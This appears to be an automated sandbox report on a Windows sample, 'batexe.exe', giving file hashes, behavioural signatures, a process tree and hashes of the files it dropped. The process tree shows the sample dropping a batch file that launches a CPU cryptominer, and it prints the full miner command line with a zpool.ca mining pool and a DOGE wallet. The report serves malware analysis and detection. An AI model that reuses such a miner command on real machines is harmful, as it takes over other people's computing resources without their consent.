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Analysis
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max time kernel
293s -
max time network
300s -
platform
windows10-1703_x64 -
resource
win10-20240214-ja -
resource tags
arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
18/02/2024, 17:38
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 4548 b2e.exe 2560 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 2560 cpuminer-sse2.exe 2560 cpuminer-sse2.exe 2560 cpuminer-sse2.exe 2560 cpuminer-sse2.exe 2560 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/2428-6-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2428 wrote to memory of 4548 2428 batexe.exe 74 PID 2428 wrote to memory of 4548 2428 batexe.exe 74 PID 2428 wrote to memory of 4548 2428 batexe.exe 74 PID 4548 wrote to memory of 3464 4548 b2e.exe 75 PID 4548 wrote to memory of 3464 4548 b2e.exe 75 PID 4548 wrote to memory of 3464 4548 b2e.exe 75 PID 3464 wrote to memory of 2560 3464 cmd.exe 78 PID 3464 wrote to memory of 2560 3464 cmd.exe 78
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Users\Admin\AppData\Local\Temp\8FEC.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\8FEC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8FEC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\91EF.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2560
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3.1MB
MD5117a91d025d2d05425aca76c076929da
SHA163501f56b9e665640237f80d3034f4c400e76ee0
SHA25664ad85c2c8f33c437a280043cee0ec6c8a047586a5d7e8816fccc4b3d07eac18
SHA51216f7ffafe022eb8a2b997dd2cbe48d668f85b95228c980321a3f22bed761bd2353d32b5d6881c00d7eb771bfcda8a1860db0c73560b56d28b2b8c968156ff4e1
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Filesize
3.1MB
MD586c883e75e6ed2d42617aecbe9772b1e
SHA123f3b0897944b0c6d976019c9519d2d059df0872
SHA2562ceb65fc4cad04a0c697ebb3e13b330af66dffcd497fd615ec787c4556bdf356
SHA512874e97d0119a85bc3fe4995e4745939a53d6fa68a5cfba5d8aa64be9dc20be960a8e2596b631e39775a52029935af21bee6de4afe11671f2b776d06a5dbdaa05
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.0MB
MD5450cde8b50606ea96887b6d97322f7f6
SHA1a5219814aeabdf489b9828968f5a55d10ac7e588
SHA256409a01857b51e0076adf65208df323316813048d23e610cf65e728e5d14990fc
SHA51203574bfd2c55fa373d8e7934a16897652310b040e2d8ee729e78d70291464da1f2ef6bb4afb5bf101c83344facbeaf94474c51bb3bf5e6bffa2affc6cd7c20c9
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Filesize
1.6MB
MD5f66ff2138c294f6561d6536873c36b60
SHA11d5fc586808884bb360c2d18d24fcededa9adeb1
SHA2562888aeec5efce9f076fe88132dde750e7fbbad6e304c189f6d5899aa724b5a34
SHA5125d78184da34a44cedac3e547c28ed5b223c9df6c08704b1ed635de513a4d9ecc35e50017b5384d715d2c5f3a5d639c2a39002843395011129cb741defe973a1d
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.6MB
MD5fd825d21531af3df7a3702c207881f8a
SHA145d0ae594b0d02bfbeb53e0553fc3fd3ae346156
SHA256d2f0c821413d258fc22e0fdd932331c9704e9bcdd15017bf4bf8f7ca6da48c94
SHA5126b4d5ac87a1baf6169f00e9927b3f70701381054ee6b4bbcb532d7840c17aba78c00541a10f9bc6998d358b3052ea1a5369c4c6ff27dabadfa65545df08c3d2d
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
1.4MB
MD5ec4e346cd731ba81958f81934281295a
SHA10b3af34c85184bcc64a9087a62c761928b563d27
SHA25678c770eff464244a346a6bcad2c2981dce72f48bd5fb4e974260ba67f80c569d
SHA512d414cbcddd9f6aabe24400e77634ce7f2adba8741c56fa8b7161ea55d3348272433accfb7c07f219d2c8f02c7bc263621425816509bdbb94082227a8560c8915
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Filesize
1.8MB
MD556856d2dd4f4534eea29024a39c6cdbb
SHA1da9ac3f4ea6b64e2fe611476bfa3cd0f941b490b
SHA2569025607c0e47e7448b971a13c61b9bc47b8bacb599c38e229cd814ebd6666363
SHA5128246ad3b3b0d7c3d9ef9b8abe6f219e6bb2e80ebd5728e85a3c90fddb9e5ec6f14174298c13c966912049709bac0026efcbad5a65b3243b2246209b401aacd96
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770